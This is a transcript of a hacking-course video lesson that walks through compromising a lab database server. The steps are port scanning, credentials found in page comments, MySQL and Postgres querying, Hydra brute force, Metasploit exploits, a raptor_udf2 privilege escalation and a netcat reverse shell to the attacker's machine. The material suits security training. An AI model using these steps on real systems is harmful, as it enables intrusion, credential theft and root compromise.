[COMPUTING SOUND]
[REPEATED BEEPING]
[WHOOSH]
[INSTRUMENTAL MUSIC PLAYING]
Welcome to the Hacker House hands-on hacking
database module practical.
We're now going to walk through all the necessary steps that
are required to complete this practical element
of our course.
So you can see on the screen here
I have my VirtualBox environment.
I'm going to now change the ISO, ensure that I've
got the database ISO set.
I've got here a host-only network adapter,
and I've still got my KALI instances
running from previous modules.
So if I was to start up this module now,
we should get our familiar splash screen at this point.
Simply hitting return, get it to boot up quickly,
and we'll see what the IP address
of this particular server is.
And then we'll do some investigation
of some of these services and see what kind of information
we can get.
So we can see here we've got 192.168.56.3.
What I'm going to do is I'm going
to open up a KALI prompt here.
I'm sure that I can ping the IP address.
I'm just going to clear out from our previous session,
just remove some of that from the terminal.
So I'm going to ping that host.
Now from 192.168.56.3, and I can see
I've got an IP address that's responding.
So the next step for me would be to simply type and map
192.168.56.3.
So again, we know we're doing our very basic reconnaissance
phase.
We're probing, we do our enumeration,
do our reconnaissance.
We identify the open services, we
do our banner grabbing and our vulnerability profiling,
and we begin exploring.
And we can see, in fact, that there's only two ports
open on this host.
One is a web service on port 80, and we can connect
to that port on port 80.
You know, send our get request, for instance,
send our HTTP protocol request, and have
a look at the information that comes back in there.
And we can see some information in the Apache header.
We can see some of the things if we actually
browse to that site.
We can actually go to 192.168.56.3.
And we can see here we've got a very standard kind of web page
for just some nonsense.
And I want to show you a little trick,
which is something not to forget or not to overlook.
Give it a right click and click View Page Source.
Sometimes you'll find within the source
code of pages, HTML pages, sometimes
developers have left comments.
And as you can see here, this developer
has actually left a comment, which
appears to be some kind of connectivity string
for accessing a database.
Now obviously, you might not find it as easily
as this in the wild.
You might find these configuration password strings
inside a config.php file, or you may
find it inadvertently exposed.
But I have seen it where people have left comments or notes
to themselves in markup files that
are then displayed to the user and can contain sensitive data.
So something to make sure you're checking.
Always check through comments of source files.
But again, looking at that, we could
see that we have the ability to test out that now, if we go,
and we can see this connection string.
So we can try that connection string
against those different services.
But also, I want to do a complete port scan.
So again, we're going to do a more aggressive port scan.
So again, when you're looking at databases
you might find firewalls are still a problem.
For instance, if you have a database for a human resources
department, that human resources department database
might well be protected by a firewall or network
segmentation, so you might find that they're
protected in some way.
So I'm going to do NMAP minus sT minus p minus,
minus n, knowing there was a patch in MySQL instance,
and I'm going to disable pings, do VV, O for N,
I'm going to save it as a database.txt and xml file.
Going to give it the IP address of the database server
that I can connect to, which I believe was three.
Aggressive mode, default scripts.
And again, fairly common, fairly comprehensive set of port
scanning options that should give me
a fairly detailed output of what this host is configured to do.
And now we can see, obviously, more ports
have become enabled that have become available,
or that we can see that are available that we didn't
see with our standard NMAP.
But we did see some MySQL there.
Now you can see the scripts have run.
And indeed the MySQL port that we saw in 3306,
has actually come back and told us
what the version and capabilities
and a few other things are that might be required
for accessing that host.
Interesting.
They've also provided us with assault.
And we can also try to netcats to that port.
If I was to netcat to that port on port 3306,
you can see, as well, that we get that same information
coming back there.
We've got that same welcoming banner and welcoming
information.
So for this MySQL service we can actually
try to authenticate to it by connecting with minus h.
And it says Access Denied for User Route
because we didn't supply a password.
If I was to simply type minus p, it'll
now prompt me for a password.
And I can begin doing brute force attacks.
Now the root user will often not be locked out on MySQL,
so you can run brute force attacks against it.
However, you may find that once you do that, sometimes you'll
get access denied or account lockout error messages,
and you can indeed lock out database accounts,
which can be a denial of service attack in and of itself.
But in this instance, we were able to see
that there is a database connection string in a HTML
comment, so we're going to try and connect
in using that password.
We're able to connect into this database,
so we're able to begin exploring the database.
So we're at the database elements of this module.
We won't actually hack the database.
We want to learn about database security.
So once we've accessed the MySQL database,
we'll see we've been given this familiar prompt.
The first thing we're going to need to do we're
going to learn about the database schema.
So I'm going to do "show databases."
And we can see here listing "show databases" will show out
a number of different databases that we can interact with,
such as information schema, which
contains all of the different kind of schemata
and information around how the rest of the tables and database
is structured.
We also have the MySQL database, which
is used for keeping track of things like users and the like.
So if you were to connect inside "use MySQL,"
it would tell you all MySQL clients who
make use of that database and then
do "show tables" allows us to list the tables.
But what's important to know is that "show tables" command
is a built-in command to MySQL.
It's actually getting that information
from the information schema.
It's doing some additional work to get it.
It's not part of SQL.
It's not a "show" command in SQL.
It's part of the MySQL client that's
doing this behavior for you.
So you might find with other attacks
you can't just type "show tables,"
and you have to learn the schema yourself.
But for our intents and purposes,
we have a client in tax row tables,
and you could do then, "describe user," for instance,
and it would describe the information
in the user's table of MySQL.
And you could do something like, well,
"select user password from MySQL.user,"
and that would show the user and passwords,
the encrypted passwords, for the users configured
in this database.
So you can see there how you can explore the tables, use
"describe" to understand the columns and the variables that
are contained within it.
So let's try some more "show databases."
Well, we can see there's a database there called
Merchant Information Schema.
Again, information schema contains
the details of the database.
It contains select described tables.
And you can see that the tables actually describes what's
contained in the database.
It's where the schema is also stored.
So we can actually look in that database and query the database
itself for its schema.
But we're going to use the merchant database now and see
what's in merchant.
"Show tables."
So now we can see the tables that
are present in the merchant database.
We can see connection orders and payment.
So I will do "describe connection,"
and then we can see here the fields that
are available in the connection field,
including a username and password, type,
and the type of variable that's contained there.
So "select star from connection" shows us
that we have a Redis instance somewhere
with a password of "Redis."
And this is something you might find
in databases, other passwords and usernames
for other systems and services.
So that's interesting.
So let's have a look at the rest of the tables in here.
I'll do "select star from orders."
Appears to be an uninteresting product code.
And I'll do "select star from payment."
OK.
So here in the payment screen, we
can actually see what looks to be something like personally
identifiable information.
So first name, last name, address,
and what terribly looks like card type and Visa number.
So I want you to stop here and I want you
to really take this on board.
If you ever in your career are able to access
data of this nature without providing
any form of authorization and you have done this remotely
against a third party, it's imperative that you
let the third party know, as they will likely
have a legal obligation or a moral obligation
to ensure that that data is adequately
protected from being unauthorized and unauthorized
access.
So here we can see, these are obviously not real details.
There's no Tyler Durden at LEET Paper Street,
and he doesn't have the Visa card number of 4386302.
These are just generated numbers that
look like Visa card numbers.
But for all intents and purposes,
these are invalid information.
It's just garbage data.
But if you ever access a database
and you find information like this
and it does happen that contains sensitive payment data that
maybe contains or stores records of a sensitive type
or personal information, and you know,
it's a high value of interest to an attacker that
may wish to exploit those systems and gain
access to those servers and misuse
those identities in some way.
So again, you could also make use
of some inbuilt MySQL capabilities at this point.
We could try things like "select @@ version."
We actually see what version of the database is in use.
You know, we could check other things as well.
What we could do is "select from load
file, slash access password" like this,
and you can actually use the load file function in MySQL
to read files from the local operating system
and actually access things outside of the database
as well.
So I can try to access your shadow.
And you can see I can't access the accept your shadow
file because MySQL is not running as full privileges
at this instance when it's trying to do that select.
So we can see the "Load file, no."
OK.
So we've got access to a MySQL database.
We can read and write files, and we found some information just
through an exposed configuration setting,
so being able to query it.
And we're building on some knowledge
now that we'll use in a later module.
So I want you to get comfortable with querying
databases and getting information out of them.
We're going to go back to our port scan results now.
So we have MongoDB, Redis.
We can see some Redis, MongoDB.
You can see some MySQL Lite.
We can also see some PostgreSQL.
You see here we've got Postgres instances running on nine,
claiming it's 9.1.2 and 9.1.3.
So again, we could do SearchSploit.
We could search through MatterSploit,
we could search through ExploitDB.
We could search through BugTrack, PacketStorm.
See if there's any known vulnerabilities or any known
weaknesses against these services.
We could look for different MySQL vulnerabilities,
see if any of those relate to the version that we have.
We could also look for Postgres exploits.
And as you can see, there are a few exploits of Postgres,
but not as many as you'd hope.
So looking at the Postgres stuff,
we can see if we connect to that database,
and we can see that it doesn't give us anything of much use
when we connect there.
Connection three set, connect four, five four, three, two
says it's closed.
So what we do is we try and connect to it with PSQL.
We'll see if we can actually just
connect to that database using the PSQL command.
So we'll do minus H. We'll give it the host
name of the remote server.
We'll give it the port 54322, and then for a user name,
this has their default of "root."
We can maybe try with "never prompt for a password."
And it says, "could not connect to the service."
54322, 54322.
It says, "could not connect to the service,
connection refused on 5432."
So let me just check that I have the right port number.
Maybe it was 5433.
Ah.
So here it says "No password was supplied,"
so if I supply the password, "test,"
you can see "password authentication failed."
So I can try to log into this database.
So maybe one of the things I try is "weak.txt."
Maybe it add some users like Postgres, PSQL, database, DBA,
Admin, letmein, something like that.
I try a couple of weak passwords and maybe do
something like Hydra minus u.
And I'll try the default user.
I'll try a commonly used default user, a PSQL or Postgres.
I'll try the common Postgres user.
And then we will try minus p, weak passwords.
So minus L to supply a log in.
"Unknown service 192.3," so I guess
that was my mistake there.
OK.
5433.
So I've set a Hydra command on now
to try to log into the Postgres.
Remember, you can check the Hydra's command inputs
by using the man pages.
And you can see here that it's trying to attack.
It logged in, tried to log in and it's
found no valid passwords.
So it's actually failed when it's tried
to brute force this module.
But if you were to try maybe some manual attacks as well,
if you were trying maybe root root,
and now try another one like Postgres w.
Now try Postgres Postgres, and you can see now,
actually Postgres Postgres has allowed
us to log in and authenticate to the service.
It's a common enough of a mistake,
it will point it out here.
And indeed, if you notice, it looked
like Hydra didn't successfully work without Postgres service.
So it is hit and miss sometimes.
You can't always rely on it.
And you might want to write your own little script just
to test common passwords against services that you find.
So we've got a MySQL service.
We also now have a Postgres service.
So, connected to a Postgres service,
we'll try and do "backslash L."
"Forward slash L," sorry.
And this forward slash will list the databases.
And here you can see we've got merchant, Postgres, template
0, template L. So it's slightly different enough to MySQL
to frustrate you.
I'll do "slash c" to connect to merchant,
and then it says "Postgres password user,"
so I'll supply Postgres.
And you can now see that I've connected
to the database "merchant" as the user Postgres.
So I'm actually connected to that database now using
that same Postgres Postgres user.
And if I was to do slash L here, you
can see that list of databases.
And if I do slash D here, I can actually
list the tables as well.
So once I've got these tables, I can
see there's a payment table, and I could simply
do "select style" from payment.
And likewise, we could then see the contents of that database
as well.
So it uses some flash commands in the client
to browse through, and again, is different enough to MySQL
that it would be annoying for you in the event
that you're too familiar with MySQL, et cetera.
So there are some differences.
Some things that don't work.
And so, for instance, if you tried "select load file,"
you'd find that you can't read files from Postgres.
There is no such load file function.
So you need to ensure that you've got some other ability
to do things.
What we're going to do now is we're going to show you,
once you've gained access to a database
and you've understood its schema and its structure,
you can get information and know what kind of data is in there,
we're going to show you how to break out of that database
and compromise the server.
We're going to first of all do this in an automated way using
tools and we're then going to do this process manually
and explain to you what's happening each step of the way.
So first of all, what we can do is
we'll check through our Metasploit framework.
We'll look through some of the modules
and auxiliary tools that are supported in there.
Again, writing your own tools is the hallmark of someone
who's much more experienced in this,
but there's so many great tools out there now
that you really don't need to go reinventing
the wheel for something as simple and trivial
as a database default credential.
So there you've got search Postgres.
You can see auxiliary admin, Postgres, PostgreSQL,
there's various functions in there.
And one of the functions that we have in there
is a Postgres read file, allow it to enable read file, query,
dump hashes, log in.
And one of them is an exploit called Postgres Payload.
And this exploit works, if you have access to a Postgres
database and it has the right conditions set,
we do "show options," "show info,"
you will see here on certain Linux installations,
Postgres can write into the temp directory
and then use the temp directory to load a shared library
and allow you to extend the function of the database.
So we can upload a file using an update pg large object
to create a binary file in the temp folder,
and then we're going to use a user defined function
to map a shared object into the database memory
and run the payload and gain access to the server.
So if I do "set our host," "show options," you can see here
"set our port, 5433."
And we've got Postgres, set password "Postgres,"
and in fact, it's so common that it's even
set in default by the module as Postgres and Postgres.
So I've got the right port, I've got the right IP address.
Fine, now I do "show options," do "show payloads,"
and sure I selected the right payload.
Set payload.
Linux slash x86, slash shell, slash reverse,
underscore TCP, show options.
Then we do set L host 192.156.56.3 or 56.4,
and I'm going to do set L port 443 as well.
So I'm now set off and ready to attempt this exploit.
If I do show targets, as well, I can
see that it's got support for 64- and 32-bit targets.
I believe it is the default 32.
And you could also try things like 161 or queries in here
to see if you were targeting the right architecture.
And what you're ideally looking for is evidence
it's a 32-bit system.
But we'll simply type "run" on here.
And it says that it's failed to find the sessions minus L,
so there's no active sessions on here.
But it appears that we have something
listening on port 443.
Huh.
Oh.
I set the L host incorrectly.
So I will just ensure that I set my L host to the right value.
And we can see L host is set correctly.
I'm now set up and I combined my handler,
so I made my bind service on there.
And it's then said "connection failed," and it's not
been able to connect to that remote host.
It says the R host is perhaps 192.168.56.3.
I was sure that the R host value was set and it was not.
So now we can see it's connected to that Postgres server.
It's worked out that it's an Intel architecture.
It's then uploaded a file called slash 10,
and then it's given us this .SO file,
which is a shared file which will be cleaned up
automatically, so we've got nothing to do to clean up this.
And if I simply type "ID," you can now
see that I am actually able to execute commands
as the Postgres user on that particular server,
thus giving us a way to execute commands
in a more interactive shell.
So we've got access to the MySQL database
and we've got access to the Postgres database,
and we've used Postgres to execute commands and gain
access to the database server, but we're still not roots.
So let's have a look now at some privilege escalation
opportunities.
If I do Python minus c import, pty.spawn, increase
my teletype job control, make sure I do bin bash, enable
teletype job control, enable a teletype interface,
enable job control, then I'm going to source my profile,
make my computer able to interact with things.
And if I go to the temp directory now
and I create a file, I'll call it Touch.
And have a look at x.
You see my x file that I've created is read right,
but it's only read writable for the Postgres user.
And this is because if I type "umask,"
my default umask specifies the permissions that should
be set for default files.
You know, make sure that all users and group and everything
else can't do anything to that file,
and make sure that only the Postgres user can.
So I'm going to change my umask to 222, and now if I check,
type "touch xx," you can see that LS minus AL, that file
is read/writable by my user, but also everybody
else on the system.
And that could become important if I
want to exploit other vulnerabilities,
because if I make files, nobody but my user can read them.
So we could do our find permissions.
We could have a look through file permissions.
We could look at the kernel version.
Yes, it's now a date kernel version.
We could try some exploits.
Dirty COW shouldn't fail, but we're not going to try that.
We want to look for another way of doing it.
So if I do PS minus A F, what we can do
is we can see and list out all the processes that
are on this system and have a look through and see
if there's anything running with privileges
that might be of interest.
And we can see here that the MySQL service is running
on the system as the root user.
So MySQL-D appears to have been started as the root user
and has the permissions of the root user.
It doesn't seem to have a MySQL user running on this host.
So it appears that the MySQL database has been installed
with root permissions.
So this gives us the capability of exploiting
that MySQL service to escalate privileges to root.
So we're going to use the Postgres user to upload
some files just so we can make that exploitation a little
easier, because we need to be able to read and write files
onto disk, and it's easier to do it from a shell account
than it is through a database.
So I'm going to download now from our STF directory,
go to static.hacker.house slash STF,
and there's a file called Raptor2 underscore UDF.c.
Or Raptor underscore UDF2.c So this file
is written by an Italian researcher, very clever guy,
who spends a lot of time- he looks at a lot of Solaris
and similar vulnerabilities.
But his work's really good.
And in fact, this tool you can actually download and use.
And you can see in the header file here,
it's got all of the steps and instructions for how to do it.
This is an exploit that works similar to the Postgres
exploit we just saw.
It will use the MySQL database to add a function
to the system, and the function is a very basic
do-system function.
It will simply run commands that the user provides to it,
and it will run them with the privileges of the SQL database.
First things first.
We have to get it to the remote system.
So I'm going to use that simple HTTP server module again, make
it nice and easy for myself to transfer it,
and I'm going to go back to that computer,
go back into my Postgres shell.
I'm going to go to my temp directory,
make a hidden folder called .hacks.
In my .hacks directory, I'm going to do "wget http
192.56.104/Raptor underscore UDF2.c."
I'm going to download that file to my disk.
Now that I've got my Raptor file here on the disk,
the next stage I'm going to do is
I'm going to follow through the instructions that are contained
in its header to systematically build that file to turn this C
code into some binary file shared
object that we can actually then use.
I'm going to do it with the less delimiter
due to my terminal hating me.
I'm not sure it has feelings for me,
but we don't like each other sometimes,
and today was one of them.
So there we go.
Raptor2 underscore UDF2.c.
We can see that we've got GCC.
We've got some commands here that allow
us to make a shared object.
So on our Postgres server, our Postgres instance
over here, what we'll do is we'll run those commands one
after the other.
First command here, compile that binary.
So we've made that binary.
If you look in our directory now you
can see it's made an object file.
What we're going to do is now make
our object file a shared object file so we can load it
into all the applications.
We make it a library that can be included
in all the applications.
And that's what these commands here are doing.
So we now have a .SO file, and they .SO file can be used
for this attack.
So what we want to do now is use a MySQL database.
So we're going to go to our MySQL database,
and we're going to follow the instructions here
to load that shared object, load that system
call into our remote database.
So I'm going to use MySQL.
So I'll type "use MySQL."
And the reason is, we're going to create
a temporary file, a temporary table, inside of the MySQL
database that holds a line blob.
So we're going to do "create table foo line blob."
So we've got an empty line table there.
And now what I'm going to do is I'm
going to insert into that table, "insert into foo values,"
and then I'm going to read the contents of that shared object
that we've just made and store it into that database.
And I'm going to store it by going to my Postgres database,
checking my path, making sure that my path is
correct, but also most importantly,
making sure that everybody on the system can read that file.
If I don't have readability, this attack will fail.
So I've got Raptor underscore UDF2.SO.
So I'm going to do /temp, .hacks,
/Raptor underscore UDF2.SO, tick,
and then close my parenthesis, and then type a semicolon.
And we can see here now that it has apparently
loaded the contents of that file into the database known as foo,
and to the table known as foo.
And then what I'm going to do is I'm
going to read the contents of that foo table
and write it out to the disk into the user lib directory.
And this only works if SS running
as root permissions, which is something they changed
in the recentest versions of MySQL
to prevent people doing this attack.
But it's still something you'll come across.
So here we've got "select style from foo into dump file,"
and we'll write that file out to disk.
If I now go back to my shell, you
should see that user lib, Raptor,
you can see that we have a file that is exactly the same file
size as my other file except for it's now
owned by the root user.
And it's been written into the user lib directory.
So you could have overwritten any kind of shared library
really there, once you've done that,
but we're going to do it with this one.
And if you try to overwrite an existing file,
it will actually fail.
It needs to be a new library.
So this is a good way of doing it.
So we'll import that SS user lib Raptor underscore UDF2.SO.
The next function that we'll do is
going to allow us to create a system function so we
can run commands.
So I'm just going to simply create a function,
create a user-defined function in MySQL.
We now have a function called do system.
And if I was to select do system ID,
it would run that command ID on that remote computer.
And what I'm going to do now is I'm going
to go start a netcat listener.
I'm going to start it on port 80 and then
I'm going to do netcat minus e, NSH.
I'm going to connect my netcat shell to my listener,
and now that I've run that netcat command,
connecting over to my other computer here, you would hope-
- Oh, I'm connecting to the wrong IP address.
It should be 104.
So I'll now run that netcat command.
And what you can see here is I've
got a connection from that host and simply now I'm
running as the root user.
So I've been able to escalate my privileges
to root because the MySQL database was
running with root privileges.
This is a very common attack path.
Once you compromise a web application through command
injection and you've got a low privilege command injection,
you can escalate or try to escalate privileges
through the database and see whether or not
you can become the root user.
Newer versions of the MySQL database
no longer run with the root user by default
and they drop the permissions to a MySQL user
because this was such a problem.
People were finding vulnerabilities
in PHP applications, hacking the server,
getting group permissions, installing rootkits,
maybe selling access and doing other things.
So that's how this attack would work.
This is privilege escalation through databases and database
technology.
So we've had a look at MySQL.
We should be comfortable with browsing data now.
We can get access to the schema.
We can run various commands.
We've gained root access to this host.
Let's have a look at some of the other port scan output.
So I'm going to just maybe give my root shell a little bit
of a teletype interface, spruce it up a little bit,
just to add that sparkle, as hackers lean to like.
And then I've got my normal shell,
I've got my little prompts up here.
I'm going to just come out of this Postgres instance
because I don't care for it any more.
I'll background and just kill that session.
I also don't massively care for this merchant session,
so I'll do /q there and exit out of my MySQL database.
And I can leave my MySQL connection running,
because if I was to kill it, it may well terminate my process.
Query killed, continuing normally and then exited.
And it seems to have kept the session running.
So that's OK.
So I've got my MySQL database.
Let's have a look at some of the other things
that we saw on that database server.
OK.
So we can see here we've got a number of other things.
We've got this Redis key score value.
Well we know that the password for the Redis
database from the database was actually Redis,
but if you recall back, we can actually brute force passwords
to Redis really easily as well.
So I'm going to do exit minus y, and again we'll look at Hydra.
Remember, you can't use this tool
if you're a member of the military
or if you're involved in a Secret Service organization.
And it's extremely important that we respect
the wishes of tool authors.
If this individual doesn't want his tool used
in that environment, you will need
to search for alternatives.
So Hydra minus L will allow you to supply
usernames or passwords.
These are kinds of- Hydra is a brute force
tool that we can use.
And what we could do with it is try to brute force Redis
instance, for instance.
And I'll just echo "Redis" into weak.txt.
And if we have a look at our weak.txt,
you can see I've added the Redis user on there
So what I'll is I'll do Redis minus u.
I'll just give it, log in files, I'll
just I'll use the Redis user so we don't have to wait all day.
And then I'll do minus p for our passwords
and give it the weak passwords, and then I'll
do Redis and the IP address of that system.
You only need to give it a minus p.
It doesn't need a username.
In fact, that was my error.
You should just give it a minus p to give it some passwords,
and it will then try to connect to that Redis instance
and try to guess various passwords.
And I'll just remove some of the weak ones.
Get it in there, like Redis.
It should be very quick to do that,
so I'll just do minus VV perhaps.
See what's happening.
So cannot connect to port 6379 on the target.
6379 is listening.
There we go.
I'd set the wrong IP address.
So you can see here that this Redis server requires
a password, and it's connected to that Redis server
and it was able to brute force the password of Redis.
And in fact it can do that in a very rapid speed,
so if you see Redis, you can try to brute force
it, because it will allow you to test passwords very,
very quickly.
So there we're able to see the Redis password
and then we can use a tool like Redis-cli CLI
to interact with that Redis database from the command line.
So we could do Redis minus h.
We'll connect to that remote Redis instance.
And we can see now we've got a connection on the Redis
instance.
And if you were to simply type "keys, star,"
you'll see that it says "Error, operation not permitted."
And that's because this Redis instance requires
you to be authenticated, and simply typing "auth Redis"
will then authenticate you and allow
you to browse any of the keys or sets that have been stored.
This database is actually empty, and you
can see from the NMAP output that we can actually
look at the version number of that SQL
or that no SQL like database.
I'll have some more bugs like those
in a moment, but the other database
that we saw there was the MongoDB, which also
had a web service available.
And also some default scripts have
been run by NMAP, which allow you to connect to that database
and query the information and see what kind of system
information is in place there.
MongoDB kind of just means no password,
so you can try and usually access it with no password.
So if I was to do 192.168.56.3, we
can see on here that we should have access to our MongoDB.
Should be things like that.
And then you could try and do stuff like "show users,"
try and browse through "show DBs,"
and this one is actually empty.
And you could do "show logs," you know,
and browse through the database and try and find out
if there's any information of use that's in there.
Looking at our port scan outputs,
we can see no SQL generally means no authentication.
And that's what people do.
They scan the web using these kinds of NMAP scripts,
finding open databases, connecting to them,
copy the data out, leave a note saying hey, pay me bitcoin
or you'll never see your data again.
And this unfortunately happens to a lot of small companies
and startups as they're doing these kinds of growth things
and adding no-SQL-like technology.
But equally, we can see we've got MySQL.
We've got some version numbers.
Just scrolling down there, we can see there's a MongoDB.
And also associated with MongoDB with this 280174,
connected to 28017, you'll find that is
in fact a kind of API-type service that's disabled.
But you can also get a nice web interface
for querying and interacting with
these no-SQL-like databases, list databases and similar.
But we can see that that is actually disabled.
It's not been enabled by default.
But you can sometimes see information there as well,
like the system information.
Determine whether it's a 64-bit or 32-bit binary, things
like that.
You see, this one says it's a 64-bit,
for some strange reason.
I was not aware of that case.
Usually 32 bits often compatible with 64-bit systems
through an emulation layer or some similar,
so you might find that 32-bit attacks work better anyway,
just in general.
So let's have a look at the rest of this now.
So we've got MongoDB there.
Looking at the output, we should find a version.
You can see MongoDB 2.0.2.
And also we can see some other databases.
And if I was to do MSF Console,
we'll do "search MySQL."
We can have a search through for any kind of known MySQL
vulnerabilities.
And also we can have a look through for any
of the other vulnerabilities vulnerable to anything.
Once you go through those various exploits
and information, one of them should hopefully
stand out to you.
You may find that a MySQL vulnerability
from Exploit Windows, MySQL, MySQL MUL,
MySTF, Windows Payload, yaSSL.
It may be SSL hates Hello yaSSL exploits.
Let's have a look.
Have we got any of those?
MySQL yaSSL get name, perhaps.
If I was to use this exploit here,
do "show info," now what we can see here
is that this is a stack-based buffer
overflow within a implementation of SSL
that is bundled with MySQL.
And this was written by [Jada Cor Joshua],
and you can basically run this tool available targets.
You've got the available targets here.
You've got your R host option.
And this should be a way to try to exploit MySQL services.
And if look at the target version,
you should see actually that this target
is indicative of the exact same MySQL version
that we have on this system here.
So if I to netcat to that port, remember, we
can get that from banner grabbing,
by simply connecting to the service on the right port,
and we can see what version it is.
We can see there it's 5.051A-24.
And we can see that we have a target for this exploit that
is the same version.
So I'm going to do "set target 1, show options."
I'm going to do "set R host 192.168.56.3."
I'm going to do "show payloads" now.
I'm going to select a payload that
might be applicable to targeting the system.
And I'm going to do "set payload, Linux x86 shell,
reverse TCP."
And then I'm going to do "show options."
Show options.
And I'm going to set my L host to be the local listening
host of my computer.
I'm going to leave the port as it is for now
and I'm just going to run this exploit now.
So we can see here that this exploit's
connected to that Debian MySQL instance,
exploited that Stack Overflow and given us a command
shell as the root user.
So it's important as well to remember
to check for vulnerabilities, make sure you profile
the software, make sure you see, is there any known attacks,
are there any known weaknesses against that particular SQL
implementation.
And in fact, if you were to then do "search MongoDB,"
you'd find that there is indeed an exploit for a MongoDB
vulnerability within Metasploit, which
can also be used to get a shell on that MongoDB service.
And if you were to do "show info," what
you'll find about this here, it's
been tested on Mongo 2.2.3.
Now, this was intentional.
We wanted to break this exploit and give it
to you as an exercise, so that if you actually
tried to run this exploit with a debugger attached,
you would find that service crash
and you are able to debug that service.
And you should be able to try to find the right return address.
It should just be a simple case of getting
the right numbers inside that exploit somewhere
to make this exploit function.
So an interesting attack as it's got targets for 2.2.3.
The exploit will also impact the version on our system,
but it doesn't have the targets available,
so you would have to find the targets.
And that's meant as a kind of exercise
for the more advanced students.
You might want to learn a little bit about exploitation.
This is a very good use case for you to experiment with.
You can trigger that vulnerability,
you have the targets.
You just need to find the right addresses.
So good exercise for people looking
at low-level exploitation.
But moving on from that, we can see now we've
gone through all of the ports in our MySQL database
on our database server.
We've been able to look at things
like the no-SQL databases, which again, remember,
tend to mean no authentication.
We've been able to probe through Postgres and MySQL.
The main takeaway I want you to get from this particular module
is comfortable with browsing through data,
being able to interact with databases
and understand the schema, because we're
going to build on that information
for the next module.
So thank you for listening and I'll
look forward to seeing you in the later modules
of this course.
[WHOOSHING SOUND, FADING]